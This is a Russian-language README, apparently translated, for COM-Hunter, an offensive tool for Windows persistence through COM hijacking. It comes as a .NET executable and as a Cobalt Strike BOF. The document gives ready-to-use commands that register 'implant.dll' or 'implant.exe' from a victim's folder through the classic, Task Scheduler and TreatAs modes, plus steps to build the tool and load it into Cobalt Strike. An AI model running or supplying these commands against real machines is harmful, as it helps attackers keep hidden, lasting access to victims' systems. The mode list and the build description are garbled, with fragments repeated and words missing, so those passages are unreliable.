
Инструмент для сохранения постоянства с помощью перехвата COM в Windows с режимами: search, classic, Task Scheduler и TreatAs. Доступен в виде .NET исполняемого файла и Cobalt Strike BOF для операций Red Team.
COM-угон VOODOO

COM-Hunter — это инструмент для сохранения постоянства (persistence) с помощью COM-угона.
Доступен как в версии .NET, так и в варианте BOF, полностью совместимом с Cobalt Strike.
В следующем списке описаны доступные режимы:
LocalServer32, InprocServer32 и записей реестра как в HKLM, так и в HKCU.LocalServer32 или InprocServer32.LocalServer32 или InprocServer32.LocalServer32 или InprocServer32.LocalServer32, InprocServer32 и связанных записях реестра как в , так и в .ℹ️ Этот инструмент был выбран и с гордостью является частью Cobalt Strike Community Kit.
Если вы нашли ошибки, не стесняйтесь сообщать о них. Ваши отзывы ценны для улучшения качества этого проекта!
Авторы и участники этого проекта не несут ответственности за любое незаконное использование инструмента. Он предназначен только для образовательных целей. Пользователи обязаны обеспечить законность его использования.
Этот проект создан с ❤️ @nickvourd && @S1ckB0y1337.
Особая благодарность моему другу Мариосу Гифтосу за его неоценимую помощь на этапе бета-тестирования этого инструмента.
Вдохновлен курсом RTO от @zeropointsecltd.
Реализация BOF вдохновлена Лефтерисом Паносом и его замечательным проектом RegPersist.
Файлы base.c и bofdefs.h являются прямыми копиями из проекта TrustedSec's CS-Situational-Awareness-BOF.
██████╗ ██████╗ ███╗ ███╗ ██╗ ██╗██╗ ██╗███╗ ██╗████████╗███████╗██████╗
██╔════╝██╔═══██╗████╗ ████║ ██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗
██║ ██║ ██║██╔████╔██║█████╗███████║██║ ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝
██║ ██║ ██║██║╚██╔╝██║╚════╝██╔══██║██║ ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗
╚██████╗╚██████╔╝██║ ╚═╝ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ██║ ███████╗██║ ██║
╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
Версия: 3.0
@nickvourd && @S1ckB0y1337
~ Вдохновлено во время курса RTO от @zeropointsecltd ~
Usage: COM_Hunter.exe <mode> <options>
[+] Available Modes:
search Search Mode
persist Classic Persist Mode
tasksch Task Scheduler Mode
treatas TreatAs Mode
remove Remove Mode
[+] Search Mode:
Usage: COM-Hunter.exe search <CLSID> <options>
-a, --all Search DLL and EXE implementations in HKLM and HKCU
-i, --inprocserver32 Search DLL implementations in HKLM and HKCU
-l, --localserver32 Search EXE implementations in HKLM and HKCU
-m, --machine Search DLL and EXE implementations in HKLM
-u, --user Search DLL and EXE implementations in HKCU
[+] Classic Persist Mode:
Usage: COM-Hunter.exe persist <CLSID> <binary_path> <option>
-i, --inprocserver32 Set DLL implementation
-l, --localserver32 Set EXE implementation
[+] Task Scheduler Mode:
Usage: COM-Hunter.exe tasksch <binary_path> <option>
-i, --inprocserver32 Set DLL implementation
-l, --localserver32 Set EXE implementation
[+] TreatAs Mode:
Usage: COM-Hunter.exe treatas <CLSID> <fake_CLSID> <binary_path> <option>
-i, --inprocserver32 Set DLL implementation
-l, --localserver32 Set EXE implementation
[+] Remove Mode:
Usage: COM-Hunter.exe remove <CLSID> <options>
-a, --all Remove DLL and EXE implementations in HKLM and HKCU
-i, --inprocserver32 Remove DLL implementations in HKLM and HKCU
-l, --localserver32 Remove EXE implementations in HKLM and HKCU
-m, --machine Remove DLL and EXE implementations in HKLM
-u, --user Remove DLL and EXE implementations in HKCU
ℹ️ Поиск реализаций DLL и EXE в HKLM и HKCU:
.\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a
ℹ️ Поиск реализаций EXE в HKLM и HKCU:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l
ℹ️ Расширенный поиск реализаций EXE в HKLM:
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine
ℹ️ Поиск реализаций EXE и DLL в HKCU:
.\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user
ℹ️ Выполнение классического постоянства с использованием DLL:
.\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i
ℹ️ Выполнение классического постоянства с использованием EXE:
.\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32
ℹ️ Выполнение постоянства через планировщик задач с использованием DLL:
.\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32
ℹ️ Выполнение постоянства через ключ реестра TreatAs и фиктивный (перенаправляемый) CLSID с использованием DLL:
.\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i
ℹ️ Удаление постоянства DLL в HKCU:
.\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -u
ℹ️ Требуется инструментарий MinGW-w64 (x86_64-w64-mingw32-gcc и i686-w64-mingw32-gcc)
ℹ️ Скомпилируйте объекты BOF для обеих архитектур:
./make_all.sh
Это:
com_hunter_*.com_hunter_*.x64.o и com_hunter_*.x86.o.com_hunter_*/.ℹ️ После компиляции модулей BOF просто загрузите com_hunter_bof.cna в Cobalt Strike.
ℹ️ Для очистки артефактов сборки перейдите в каждый каталог src и выполните:
make clean
HKLMHKCU